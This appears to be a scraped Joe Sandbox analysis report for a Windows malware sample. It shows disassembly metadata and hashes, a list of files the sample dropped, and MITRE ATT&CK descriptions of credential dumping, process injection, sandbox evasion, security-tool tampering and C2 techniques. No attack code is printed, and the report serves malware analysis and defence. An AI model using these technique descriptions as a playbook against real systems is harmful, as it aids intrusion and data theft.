Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: FreeLibrary
String ID: O&:FreeLibrary
API String ID: 3664257935-2600264430
Opcode ID: ab81c06c73e038f4722bd0195b2ba4bb40281938670383ef5ef7ebc0e01118fd
Instruction ID: 5bc04a1baf0458a5e1b3a12a89338de00bbee45103ef65905701dd194b1a9f72
Opcode Fuzzy Hash: ab81c06c73e038f4722bd0195b2ba4bb40281938670383ef5ef7ebc0e01118fd
Instruction Fuzzy Hash: 1601E1A1E0CE4381EB509B76FC501396762FF55BA0F54E03AE95E43A74DE2CE4498700

Function 00007FFB1C25E4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C25E720: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFB1C25E74B

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C25E50A

Strings

f, xrefs: 00007FFB1C25E4E5
csm, xrefs: 00007FFB1C25E4EB

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: __except_validate_context_recordabortterminate
String ID: csm$f
API String ID: 339134311-629598281
Opcode ID: 049055b88727f29c58bed955df15e2ffd86eccd5c54e7ffa759ec555c1e45828
Instruction ID: 5f838630f4e77e077a07ce51e5f5522173d07c1e425f9d0336be9db28dfe2c4a
Opcode Fuzzy Hash: 049055b88727f29c58bed955df15e2ffd86eccd5c54e7ffa759ec555c1e45828
Instruction Fuzzy Hash: C5E037E1908F4642D6547B71E5481FD6A56AF16764F248074DA880674ADE3CDC908691

Function 00007FFB1C255524 Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFB1C2553A9,?,?,?,?,00007FFB1C25F63F,?,?,?,?,?), ref: 00007FFB1C255543
SetLastError.KERNEL32(?,?,?,00007FFB1C2553A9,?,?,?,?,00007FFB1C25F63F,?,?,?,?,?), ref: 00007FFB1C2555CC

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 550cea5c84bc0485e2971ce80c0edd506865995108a692b5126701225aaf57c4
Instruction ID: 943ff53e6d2f4074526414d75faf9415207ae4db597075025092a3746861995c
Opcode Fuzzy Hash: 550cea5c84bc0485e2971ce80c0edd506865995108a692b5126701225aaf57c4
Instruction Fuzzy Hash: DE1100F0A19E9283EA14BB75E84C1FA2293AF457B0F244634DD6E467D9DE3CE841C690

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report X9g8L63QGs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\? ?\Display (1).png

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\RES5209.tmp

C:\Users\user\AppData\Local\Temp\_MEI33962\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI33962\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI33962\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd

Windows Analysis Report
X9g8L63QGs.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre